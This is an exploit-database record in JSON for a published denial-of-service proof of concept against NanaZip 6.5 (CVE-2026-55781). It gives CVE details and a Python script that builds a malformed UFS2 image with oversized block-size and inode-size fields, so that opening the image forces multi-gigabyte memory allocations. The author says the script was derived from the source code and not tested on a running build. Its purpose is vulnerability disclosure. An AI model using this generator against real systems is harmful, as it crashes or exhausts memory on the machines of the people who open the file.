{"exploit":{"id":"EDB-52656","name":"M2Team NanaZip 6.5 - Denial of Service (DoS) (2)","description":"M2Team NanaZip 6.5 - Denial of Service (DoS) (2)","cves":["CVE-2026-55781"],"author":"Jorge González Milla","published":"2026-08-18","platform":"multiple","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52656","path":"exploits/multiple/dos/52656.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52656.txt","vulnerabilities":[{"id":"CVE-2026-55781","state":"PUBLISHED","title":"NanaZip: Unbounded memory allocation (DoS) in NanaZip UFS parser via unvalidated fs_bsize/fs_fsize superblock fields","titleSource":"CVE Program","description":"NanaZip is the 7-Zip derivative intended for the modern Windows experience. Prior to 6.5.1749.0, NanaZip's UFS and FFS image handler in NanaZip.Codecs.Archive.Ufs.cpp validates the superblock block size only against the MINBSIZE lower bound and does not validate the fs_fsize fragment size, allowing attacker-controlled 32-bit fields to flow into indirect-block, directory, and extraction buffer allocations. A tiny crafted UFS image can force multi-gigabyte allocations during open or extraction, causing memory exhaustion or process termination. This issue is fixed in version 6.5.1749.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55781","cvss":{"version":"4.0","baseScore":2.4,"severity":"low","vectorString":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55781"},"updatedAt":"2026-07-10T20:58:43.057Z","retrievedAt":"2026-11-25T16:13:47.123Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52656.png?v=2","url":"https://exploitbin.com/exploits/EDB-52656","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52656/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52656/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: NanaZip 6.5  - DoS\n\n# Date: 2026-07-17\n\n# Exploit Author: Pig-Tail (Jorge González Milla)\n\n# Vendor Homepage: https://github.com/M2Team/NanaZip\n\n# Software Link: https://github.com/M2Team/NanaZip/releases\n\n# Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0)\n\n# Tested on: Windows\n\n# CVE: CVE-2026-55781\n\n# Category: dos\n\n# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55781-NanaZip\n\n\n\nAn attacker-controlled fs_bsize field in a crafted UFS image drives an unbounded allocation in the NanaZip.Codecs UFS handler before any bounds check.\n\n\n\nNOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source\n\n(NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but\n\nwas not executed against a running build. Benign — it only generates the malformed carrier file.\n\n\n\n--- PoC generator (GHSA-m34h-jf84-m74h.py) ---\n\n#!/usr/bin/env python3\n\n# PoC generator: unbounded memory allocation in NanaZip's UFS parser\n\n# (GHSA-m34h-jf84-m74h).\n\n#\n\n# A 66912-byte UFS2 image. The superblock at SBLOCK_UFS2 (65536) sets\n\n# fs_bsize = 0x40000000 (1 GiB); Open() only enforces the lower bound MINBSIZE.\n\n# Root inode #2 sits at GetInodeOffset(2) = (fs_iblkno=0)*fs_fsize + 2*256 = 512\n\n# with di_size = 1 TiB, so GetInodeInformation() overruns its 12 direct blocks\n\n# and allocates three 1 GiB indirect buffers (NanaZip.Codecs.Archive.Ufs.cpp:\n\n# 435-437) -> ~3 GiB. All superblock field offsets below are the real offsetof()\n\n# values from NanaZip's bundled FreeBSD/fs.h (struct fs, little-endian).\n\nimport struct\n\n\n\nSB, SBSIZE = 65536, 1376\n\nimg = bytearray(SB + SBSIZE)\n\n\n\n# --- root inode #2 at file offset 512 (ufs2_dinode) ---\n\nstruct.pack_into(\"<H\", img, 512 + 0,  0x4000)            # di_mode  = IFDIR\n\nstruct.pack_into(\"<h\", img, 512 + 2,  1)                 # di_nlink = 1\n\nstruct.pack_into(\"<Q\", img, 512 + 16, 0x10000000000)     # di_size  = 1 TiB\n\n\n\n# --- superblock @ 65536 (offsets = offsetof(struct fs, ...)) ---\n\nstruct.pack_into(\"<i\", img, SB + 16,   0)                # fs_iblkno\n\nstruct.pack_into(\"<I\", img, SB + 44,   1)                # fs_ncg\n\nstruct.pack_into(\"<i\", img, SB + 48,   0x40000000)       # fs_bsize  (1 GiB)\n\nstruct.pack_into(\"<i\", img, SB + 52,   1)                # fs_fsize\n\nstruct.pack_into(\"<i\", img, SB + 56,   1)                # fs_frag\n\nstruct.pack_into(\"<i\", img, SB + 104,  SBSIZE)           # fs_sbsize (>= sizeof(fs))\n\nstruct.pack_into(\"<q\", img, SB + 1000, SB)               # fs_sblockloc = SBLOCK_UFS2\n\nstruct.pack_into(\"<I\", img, SB + 184,  16)               # fs_ipg\n\nstruct.pack_into(\"<i\", img, SB + 188,  0)                # fs_fpg\n\nstruct.pack_into(\"<i\", img, SB + 1320, 0)                # fs_maxsymlinklen\n\nstruct.pack_into(\"<I\", img, SB + 1372, 0x19540119)       # fs_magic = FS_UFS2_MAGIC\n\n\n\nwith open(\"poc.img\", \"wb\") as f:\n\n    f.write(img)\n\nprint(len(img), \"bytes ->\", \"poc.img\")","sha256":"30e5307664fd42cfb5b45cb108393808f8866cd0821ba1900cb12a13d57b7498","bytes":3160,"fetchedAt":"2026-11-25T10:17:07.514Z","encoding":"utf-8 (display only; download retains original bytes)"}